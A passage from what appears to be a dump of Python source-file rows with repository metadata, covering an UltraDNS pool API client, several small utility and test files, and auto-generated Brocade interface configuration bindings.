# "4.5.6.7", "199.7.167.22", "1.2.3.4", "5.6.7.8"
# ],
# "profile": {
# "@context": "http://schemas.ultradns.com/SBPool.jsonschema",
# "description": "description",
# "runProbes": true,
# "actOnProbes": true,
# "order": "ROUND_ROBIN",
# "maxActive": 1,
# "maxServed": 0,
# "rdataInfo": [
# {
# "state": "ACTIVE",
# "runProbes": true,
# "priority": 2,
# "failoverDelay": 0,
# "threshold": 1
# },
# {
# "state": "INACTIVE",
# "runProbes": true,
# "priority": 1,
# "failoverDelay": 0,
# "threshold": 1
# },
# {
# "state": "ACTIVE",
# "runProbes": true,
# "priority": 1,
# "failoverDelay": 1,
# "threshold": 1
# },
# {
# "state": "INACTIVE",
# "runProbes": true,
# "priority": 2,
# "failoverDelay": 3,
# "threshold": 1
# }
# ],
# "backupRecords": [
# {
# "rdata":"1.2.2.2",
# "failoverDelay": 1
# }
# ]
# }
# }
def _build_sb_rrset(self, backup_record_list, pool_info, rdata_info, ttl):
rdata = []
rdata_info_list = []
for rr in rdata_info:
rdata.append(rr)
rdata_info_list.append(rdata_info[rr])
profile = {"@context": "http://schemas.ultradns.com/SBPool.jsonschema"}
for p in pool_info:
profile[p] = pool_info[p]
profile["backupRecords"] = backup_record_list
profile["rdataInfo"] = rdata_info_list
rrset = {"ttl": ttl, "rdata": rdata, "profile": profile}
return rrset
def create_sb_pool(self, zone_name, owner_name, ttl, pool_info, rdata_info, backup_record_list):
"""Creates a new SB Pool.
Arguments:
zone_name -- The zone that contains the RRSet. The trailing dot is optional.
owner_name -- The owner name for the RRSet.
If no trailing dot is supplied, the owner_name is assumed to be relative (foo).
If a trailing dot is supplied, the owner name is assumed to be absolute (foo.zonename.com.)
ttl -- The updated TTL value for the RRSet.
pool_info -- dict of information about the pool
rdata_info -- dict of information about the records in the pool.
The keys in the dict are the A and CNAME records that make up the pool.
The values are the rdataInfo for each of the records
backup_record_list -- list of dicts of information about the backup (all-fail) records in the pool.
There are two key/value in each dict:
rdata - the A or CNAME for the backup record
failoverDelay - the time to wait to fail over (optional, defaults to 0)
"""
rrset = self._build_sb_rrset(backup_record_list, pool_info, rdata_info, ttl)
return self.rest_api_connection.post("/v1/zones/" + zone_name + "/rrsets/A/" + owner_name, json.dumps(rrset))
# Update an SB Pool
def edit_sb_pool(self, zone_name, owner_name, ttl, pool_info, rdata_info, backup_record_list):
"""Updates an existing SB Pool in the specified zone.
:param zone_name: The zone that contains the RRSet. The trailing dot is optional.
:param owner_name: The owner name for the RRSet.
If no trailing dot is supplied, the owner_name is assumed to be relative (foo).
If a trailing dot is supplied, the owner name is assumed to be absolute (foo.zonename.com.)
:param ttl: The updated TTL value for the RRSet.
:param pool_info: dict of information about the pool
:param rdata_info: dict of information about the records in the pool.
The keys in the dict are the A and CNAME records that make up the pool.
The values are the rdataInfo for each of the records
:param backup_record_list: list of dicts of information about the backup (all-fail) records in the pool.
There are two key/value in each dict:
rdata - the A or CNAME for the backup record
failoverDelay - the time to wait to fail over (optional, defaults to 0)
"""
rrset = self._build_sb_rrset(backup_record_list, pool_info, rdata_info, ttl)
return self.rest_api_connection.put("/v1/zones/" + zone_name + "/rrsets/A/" + owner_name, json.dumps(rrset))
def _build_tc_rrset(self, backup_record, pool_info, rdata_info, ttl):
rdata = []
rdata_info_list = []
for rr in rdata_info:
rdata.append(rr)
rdata_info_list.append(rdata_info[rr])
profile = {"@context": "http://schemas.ultradns.com/TCPool.jsonschema"}
for p in pool_info:
profile[p] = pool_info[p]
profile["backupRecord"] = backup_record
profile["rdataInfo"] = rdata_info_list
rrset = {"ttl": ttl, "rdata": rdata, "profile": profile}
return rrset
# Create a TC Pool
# Sample JSON for a TC pool -- see the REST API docs for their descriptions
# {
# "ttl": 120,
# "rdata": [
# "4.5.6.7", "199.7.167.22", "1.2.3.4", "5.6.7.8"
# ],
# "profile": {
# "@context": "http://schemas.ultradns.com/TCPool.jsonschema",
# "description": "description",
# "runProbes": true,
# "actOnProbes": true,
# "maxToLB": 1,
# "rdataInfo": [
# {
# "state": "ACTIVE",
# "runProbes": true,
# "priority": 2,
# "failoverDelay": 0,
# "threshold": 1,
# "weight": 2
# },
# {
# "state": "INACTIVE",
# "runProbes": true,
# "priority": 1,
# "failoverDelay": 0,
# "threshold": 1,
# "weight": 2
# },
# {
# "state": "ACTIVE",
# "runProbes": true,
# "priority": 1,
# "failoverDelay": 1,
# "threshold": 1,
# "weight": 4
# },
# {
# "state": "INACTIVE",
# "runProbes": true,
# "priority": 2,
# "failoverDelay": 3,
# "threshold": 1,
# "weight": 8
# }
# ],
# "backupRecord": {
# "rdata":"1.2.2.2",
# "failoverDelay": 1
# }
# }
# }
def create_tc_pool(self, zone_name, owner_name, ttl, pool_info, rdata_info, backup_record):
"""Creates a new TC Pool.
Arguments:
zone_name -- The zone that contains the RRSet. The trailing dot is optional.
owner_name -- The owner name for the RRSet.
If no trailing dot is supplied, the owner_name is assumed to be relative (foo).
If a trailing dot is supplied, the owner name is assumed to be absolute (foo.zonename.com.)
ttl -- The updated TTL value for the RRSet.
pool_info -- dict of information about the pool
rdata_info -- dict of information about the records in the pool.
The keys in the dict are the A and CNAME records that make up the pool.
The values are the rdataInfo for each of the records
backup_record -- dict of information about the backup (all-fail) records in the pool.
There are two key/value in the dict:
rdata - the A or CNAME for the backup record
failoverDelay - the time to wait to fail over (optional, defaults to 0)
"""
rrset = self._build_tc_rrset(backup_record, pool_info, rdata_info, ttl)
return self.rest_api_connection.post("/v1/zones/" + zone_name + "/rrsets/A/" + owner_name, json.dumps(rrset))
# Update an SB Pool
def edit_tc_pool(self, zone_name, owner_name, ttl, pool_info, rdata_info, backup_record):
"""Updates an existing TC Pool in the specified zone.
:param zone_name: The zone that contains the RRSet. The trailing dot is optional.
:param owner_name: The owner name for the RRSet.
If no trailing dot is supplied, the owner_name is assumed to be relative (foo).
If a trailing dot is supplied, the owner name is assumed to be absolute (foo.zonename.com.)
:param ttl: The updated TTL value for the RRSet.
:param pool_info: dict of information about the pool
:param rdata_info: dict of information about the records in the pool.
The keys in the dict are the A and CNAME records that make up the pool.
The values are the rdataInfo for each of the records
:param backup_record: dict of information about the backup (all-fail) records in the pool.
There are two key/value in the dict:
rdata - the A or CNAME for the backup record
failoverDelay - the time to wait to fail over (optional, defaults to 0)
"""
rrset = self._build_tc_rrset(backup_record, pool_info, rdata_info, ttl)
return self.rest_api_connection.put("/v1/zones/" + zone_name + "/rrsets/A/" + owner_name, json.dumps(rrset))
def build_params(q, args):
params = {}
params.update(args)
if q is not None:
all = []
for k in q:
all.append("%s:%s" % (k, q[k]))
params['q']= ' '.join(all)
return params
| 44.553221 | 129 | 0.588664 | 4,058 | 31,811 | 4.493593 | 0.089946 | 0.032465 | 0.02051 | 0.039155 | 0.786564 | 0.771758 | 0.756183 | 0.726625 | 0.708802 | 0.688456 | 0 | 0.007542 | 0.32473 | 31,811 | 713 | 130 | 44.615708 | 0.841348 | 0.569646 | 0 | 0.418605 | 0 | 0 | 0.118848 | 0.00214 | 0 | 0 | 0 | 0 | 0 | 1 | 0.209302 | false | 0.011628 | 0.02907 | 0.017442 | 0.447674 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4740bcaa6241ab4fc6d7ea877c89a1b85119f6ff | 26 | py | Python | src/schema/__init__.py | GG31/openfood-graphql-api | 7b6f74706502f79126c47beb3d47cd07146c8679 | [
"MIT"
] | null | null | null | src/schema/__init__.py | GG31/openfood-graphql-api | 7b6f74706502f79126c47beb3d47cd07146c8679 | [
"MIT"
] | 1 | 2018-12-25T22:45:13.000Z | 2018-12-25T22:45:13.000Z | src/schema/__init__.py | GG31/openfood-graphql-api | 7b6f74706502f79126c47beb3d47cd07146c8679 | [
"MIT"
] | null | null | null | from .schema import schema | 26 | 26 | 0.846154 | 4 | 26 | 5.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115385 | 26 | 1 | 26 | 26 | 0.956522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4770363dbf950ac29649011d8c531ff709e431aa | 239 | py | Python | tests/test_cm_to_m.py | ravi9989/code-20210420-raviteja | 6e8816da0b95df935ea36076031925d76fdcb6d7 | [
"MIT"
] | 1 | 2021-05-18T06:15:52.000Z | 2021-05-18T06:15:52.000Z | tests/test_cm_to_m.py | ravi9989/code-20210420-raviteja | 6e8816da0b95df935ea36076031925d76fdcb6d7 | [
"MIT"
] | null | null | null | tests/test_cm_to_m.py | ravi9989/code-20210420-raviteja | 6e8816da0b95df935ea36076031925d76fdcb6d7 | [
"MIT"
] | null | null | null | from bmi_processor.bmi_processor import convert_cm_to_m
import pytest
def test_165():
assert convert_cm_to_m(165) == 1.65
def test_175():
assert convert_cm_to_m(175) == 1.75
def test_0():
assert convert_cm_to_m(0) == 0 | 14.9375 | 55 | 0.715481 | 44 | 239 | 3.5 | 0.409091 | 0.233766 | 0.285714 | 0.311688 | 0.350649 | 0 | 0 | 0 | 0 | 0 | 0 | 0.107692 | 0.1841 | 239 | 16 | 56 | 14.9375 | 0.682051 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.375 | 1 | 0.375 | true | 0 | 0.25 | 0 | 0.625 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
47e293d54f1b025cf126c1cfbd6a7580d6b5b5cb | 45 | py | Python | externalmodules/mnemonic/__init__.py | DipanshuSehjal/Blockchain-Toolkit | 96c0f69bd23620420bb395a9343558b45e2cee9a | [
"MIT"
] | 2 | 2021-04-22T16:59:35.000Z | 2021-04-22T17:15:14.000Z | externalmodules/mnemonic/__init__.py | DipanshuSehjal/Blockchain-Toolkit | 96c0f69bd23620420bb395a9343558b45e2cee9a | [
"MIT"
] | 664 | 2018-12-19T12:43:44.000Z | 2019-08-23T04:24:42.000Z | externalmodules/mnemonic/__init__.py | DipanshuSehjal/Blockchain-Toolkit | 96c0f69bd23620420bb395a9343558b45e2cee9a | [
"MIT"
] | 11 | 2019-08-29T21:38:50.000Z | 2020-06-21T11:18:55.000Z | from .mnemonic import Mnemonic # noqa: F401
| 22.5 | 44 | 0.755556 | 6 | 45 | 5.666667 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.081081 | 0.177778 | 45 | 1 | 45 | 45 | 0.837838 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
47fa9978546d991325dacfc3cac5f7bf15ef473f | 87 | py | Python | tweet_utils.py | molamk/twitter-bot | c5570cf6f3edc7b7908fbeb1e7b93594207366d7 | [
"MIT"
] | null | null | null | tweet_utils.py | molamk/twitter-bot | c5570cf6f3edc7b7908fbeb1e7b93594207366d7 | [
"MIT"
] | null | null | null | tweet_utils.py | molamk/twitter-bot | c5570cf6f3edc7b7908fbeb1e7b93594207366d7 | [
"MIT"
] | null | null | null | def extract_keyword(items, keyword):
return list(map(lambda h: h[keyword], items))
| 29 | 49 | 0.724138 | 13 | 87 | 4.769231 | 0.692308 | 0.387097 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137931 | 87 | 2 | 50 | 43.5 | 0.826667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
9a3820fe028c07b86e062a4a179ade54cbad6155 | 104 | py | Python | db/base.py | JowellDev/jomoney | 0beb54e7b389b313fe1b8db9ee84b4473385116a | [
"MIT"
] | null | null | null | db/base.py | JowellDev/jomoney | 0beb54e7b389b313fe1b8db9ee84b4473385116a | [
"MIT"
] | null | null | null | db/base.py | JowellDev/jomoney | 0beb54e7b389b313fe1b8db9ee84b4473385116a | [
"MIT"
] | null | null | null | from db.base_class import Base
from models.users import User
from models.transactions import Transaction | 34.666667 | 43 | 0.865385 | 16 | 104 | 5.5625 | 0.625 | 0.224719 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105769 | 104 | 3 | 43 | 34.666667 | 0.956989 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d00b86663aba94f0fbc7456a4f18f8f1ff86c73f | 305 | py | Python | src/old_norse_dictionary/__init__.py | stscoundrel/old-norse-dictionary-py | cfe40660bba8edee5f2c478052fb873736c83367 | [
"MIT"
] | null | null | null | src/old_norse_dictionary/__init__.py | stscoundrel/old-norse-dictionary-py | cfe40660bba8edee5f2c478052fb873736c83367 | [
"MIT"
] | 4 | 2022-02-05T16:18:28.000Z | 2022-03-03T16:27:11.000Z | src/old_icelandic_dictionary/__init__.py | stscoundrel/old-icelandic-dictionary-py | da08e3d77a5be8c1a12035db739f5f87aa2f7a20 | [
"MIT"
] | null | null | null | from typing import Tuple
from .dictionary import DictionaryEntry, DictionaryPath, get_dictionary
def get_default() -> Tuple[DictionaryEntry, ...]:
return get_dictionary(DictionaryPath.DEFAULT)
def get_no_markup() -> Tuple[DictionaryEntry, ...]:
return get_dictionary(DictionaryPath.NO_MARKUP)
| 27.727273 | 71 | 0.780328 | 33 | 305 | 7 | 0.393939 | 0.168831 | 0.225108 | 0.251082 | 0.458874 | 0.458874 | 0 | 0 | 0 | 0 | 0 | 0 | 0.118033 | 305 | 10 | 72 | 30.5 | 0.858736 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0.333333 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 6 |
d0f9f0e19763ecd2e909479261e4e53e2c358a2d | 75 | py | Python | Code Bundle/Chapter01/test_fibo2.py | ghanigreen/pytest_code | dbdcc322b3469c62ad328043060518edf2b2d83f | [
"MIT"
] | 46 | 2018-06-28T04:40:08.000Z | 2022-02-14T05:36:48.000Z | Code Bundle/Chapter01/test_fibo2.py | ghanigreen/pytest_code | dbdcc322b3469c62ad328043060518edf2b2d83f | [
"MIT"
] | null | null | null | Code Bundle/Chapter01/test_fibo2.py | ghanigreen/pytest_code | dbdcc322b3469c62ad328043060518edf2b2d83f | [
"MIT"
] | 22 | 2018-06-10T23:20:29.000Z | 2022-02-24T06:47:18.000Z | from fibo import fibonacci
def test_fibo():
assert fibonacci(4) == 3
| 12.5 | 28 | 0.693333 | 11 | 75 | 4.636364 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.033898 | 0.213333 | 75 | 5 | 29 | 15 | 0.830508 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
ef90ba7a3eb923768b19a3fe9552177c1895f7a3 | 58,044 | py | Python | pybind/slxos/v17s_1_02/interface/homerun/__init__.py | extremenetworks/pybind | 44c467e71b2b425be63867aba6e6fa28b2cfe7fb | [
"Apache-2.0"
] | null | null | null | pybind/slxos/v17s_1_02/interface/homerun/__init__.py | extremenetworks/pybind | 44c467e71b2b425be63867aba6e6fa28b2cfe7fb | [
"Apache-2.0"
] | null | null | null | pybind/slxos/v17s_1_02/interface/homerun/__init__.py | extremenetworks/pybind | 44c467e71b2b425be63867aba6e6fa28b2cfe7fb | [
"Apache-2.0"
] | 1 | 2021-11-05T22:15:42.000Z | 2021-11-05T22:15:42.000Z |
from operator import attrgetter
import pyangbind.lib.xpathhelper as xpathhelper
from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType
from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType
from pyangbind.lib.base import PybindBase
from decimal import Decimal
from bitarray import bitarray
import __builtin__
import channel_group
import ip
import ipv6
import vrf
import bfd
import track
import switchport_basic
import switchport
import lacp
import lldp
import sflow
import udld
class homerun(PybindBase):
"""
This class was auto-generated by the PythonClass plugin for PYANG
from YANG module brocade-interface - based on the path /interface/homerun. Each member element of
the container is represented as a class variable - with a specific
YANG type.
YANG Description: The list of Homerun interfaces in the
managed device. Each row represents a Homerun
interface. The list provides a way to discover all the
Homerun interfaces in the managed device.
"""
__slots__ = ('_pybind_generated_by', '_path_helper', '_yang_name', '_rest_name', '_extmethods', '__name','__ifindex','__description','__shutdown','__channel_group','__ip','__ipv6','__vrf','__bfd','__track','__mtu','__switchport_basic','__switchport','__lacp','__lldp','__sflow','__udld',)
_yang_name = 'homerun'
_rest_name = 'Homerun'
_pybind_generated_by = 'container'
def __init__(self, *args, **kwargs):
path_helper_ = kwargs.pop("path_helper", None)
if path_helper_ is False:
self._path_helper = False
elif path_helper_ is not None and isinstance(path_helper_, xpathhelper.YANGPathHelper):
self._path_helper = path_helper_
elif hasattr(self, "_parent"):
path_helper_ = getattr(self._parent, "_path_helper", False)
self._path_helper = path_helper_
else:
self._path_helper = False
extmethods = kwargs.pop("extmethods", None)
if extmethods is False:
self._extmethods = False
elif extmethods is not None and isinstance(extmethods, dict):
self._extmethods = extmethods
elif hasattr(self, "_parent"):
extmethods = getattr(self._parent, "_extmethods", None)
self._extmethods = extmethods
else:
self._extmethods = False
self.__lldp = YANGDynClass(base=lldp.lldp, is_container='container', presence=False, yang_name="lldp", rest_name="lldp", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'The Link Layer Discovery Protocol(LLDP).', u'sort-priority': u'115', u'callpoint': u'lldp_phy_interface_conf', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-lldp', defining_module='brocade-lldp', yang_type='container', is_config=True)
self.__name = YANGDynClass(base=RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((([0-9]|[1][0-6]))/([1-9]|[1-9][0-9]|[1-9][0-9][0-9])(:[1-4])?)', 'length': [u'3..16']}), is_leaf=True, yang_name="name", rest_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='interface-type', is_config=True)
self.__sflow = YANGDynClass(base=sflow.sflow, is_container='container', presence=False, yang_name="sflow", rest_name="sflow", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Sflow Configuration', u'cli-incomplete-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_FEATURE_SFLOW'}}, namespace='urn:brocade.com:mgmt:brocade-sflow', defining_module='brocade-sflow', yang_type='container', is_config=True)
self.__bfd = YANGDynClass(base=bfd.bfd, is_container='container', presence=False, yang_name="bfd", rest_name="bfd", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Create BFD session on this interface.', u'cli-incomplete-no': None, u'callpoint': u'bfd-params-phy-cpworker', u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_L3_BFD_CONFIG', u'cli-incomplete-command': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
self.__channel_group = YANGDynClass(base=channel_group.channel_group, is_container='container', presence=False, yang_name="channel-group", rest_name="channel-group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-compact-syntax': None, u'info': u'LACP channel commands', u'cli-sequence-commands': None, u'cli-full-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_MODE_CHANNEL_GROUP_MEMBER'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
self.__ip = YANGDynClass(base=ip.ip, is_container='container', presence=False, yang_name="ip", rest_name="ip", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'The Internet Protocol (IP).', u'cli-incomplete-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_IP_CONFIG', u'cli-incomplete-command': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
self.__switchport = YANGDynClass(base=switchport.switchport, is_container='container', presence=False, yang_name="switchport", rest_name="switchport", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Set the switching characteristics of the Layer2 \ninterface', u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_MODE_SWITCHPORT_CONFIG', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
self.__udld = YANGDynClass(base=udld.udld, is_container='container', presence=False, yang_name="udld", rest_name="udld", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'UDLD commands', u'sort-priority': u'138', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-udld', defining_module='brocade-udld', yang_type='container', is_config=True)
self.__mtu = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1548..9216']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(1548), is_leaf=True, yang_name="mtu", rest_name="mtu", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'cli-run-template': u'mtu $(mtu)\n', u'info': u'Set mtu value to interface'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='mtu-type', is_config=True)
self.__lacp = YANGDynClass(base=lacp.lacp, is_container='container', presence=False, yang_name="lacp", rest_name="lacp", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'LACP commands', u'cli-incomplete-no': None, u'sort-priority': u'118'}}, namespace='urn:brocade.com:mgmt:brocade-lacp', defining_module='brocade-lacp', yang_type='container', is_config=True)
self.__track = YANGDynClass(base=track.track, is_container='container', presence=False, yang_name="track", rest_name="track", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Track interface', u'hidden': u'full', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
self.__vrf = YANGDynClass(base=vrf.vrf, is_container='container', presence=False, yang_name="vrf", rest_name="vrf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Assign VRF to this ethernet interface', u'cli-incomplete-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_VRF_BIND_CONFIG'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
self.__shutdown = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="shutdown", rest_name="shutdown", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Shutdown the selected interface', u'cli-show-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_SHUT_CONFIG'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='empty', is_config=True)
self.__ipv6 = YANGDynClass(base=ipv6.ipv6, is_container='container', presence=False, yang_name="ipv6", rest_name="ipv6", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'The Internet Protocol version 6(IPv6).', u'cli-incomplete-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_IP_CONFIG', u'cli-incomplete-command': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
self.__ifindex = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="ifindex", rest_name="ifindex", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='uint64', is_config=False)
self.__switchport_basic = YANGDynClass(base=switchport_basic.switchport_basic, is_container='container', presence=False, yang_name="switchport-basic", rest_name="", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-drop-node-name': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_MODE_SWITCHPORT_CONFIG'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
self.__description = YANGDynClass(base=RestrictedClassType(base_type=unicode, restriction_dict={'length': [u'1 .. 63']}), is_leaf=True, yang_name="description", rest_name="description", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Interface specific description', u'cli-multi-value': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_BASIC_CONFIG'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='string', is_config=True)
load = kwargs.pop("load", None)
if args:
if len(args) > 1:
raise TypeError("cannot create a YANG container with >1 argument")
all_attr = True
for e in self._pyangbind_elements:
if not hasattr(args[0], e):
all_attr = False
break
if not all_attr:
raise ValueError("Supplied object did not have the correct attributes")
for e in self._pyangbind_elements:
nobj = getattr(args[0], e)
if nobj._changed() is False:
continue
setmethod = getattr(self, "_set_%s" % e)
if load is None:
setmethod(getattr(args[0], e))
else:
setmethod(getattr(args[0], e), load=load)
def _path(self):
if hasattr(self, "_parent"):
return self._parent._path()+[self._yang_name]
else:
return [u'interface', u'homerun']
def _rest_path(self):
if hasattr(self, "_parent"):
if self._rest_name:
return self._parent._rest_path()+[self._rest_name]
else:
return self._parent._rest_path()
else:
return [u'interface', u'Homerun']
def _get_name(self):
"""
Getter method for name, mapped from YANG variable /interface/homerun/name (interface-type)
"""
return self.__name
def _set_name(self, v, load=False):
"""
Setter method for name, mapped from YANG variable /interface/homerun/name (interface-type)
If this variable is read-only (config: false) in the
source YANG file, then _set_name is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_name() directly.
"""
parent = getattr(self, "_parent", None)
if parent is not None and load is False:
raise AttributeError("Cannot set keys directly when" +
" within an instantiated list")
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((([0-9]|[1][0-6]))/([1-9]|[1-9][0-9]|[1-9][0-9][0-9])(:[1-4])?)', 'length': [u'3..16']}), is_leaf=True, yang_name="name", rest_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='interface-type', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """name must be of a type compatible with interface-type""",
'defined-type': "brocade-interface:interface-type",
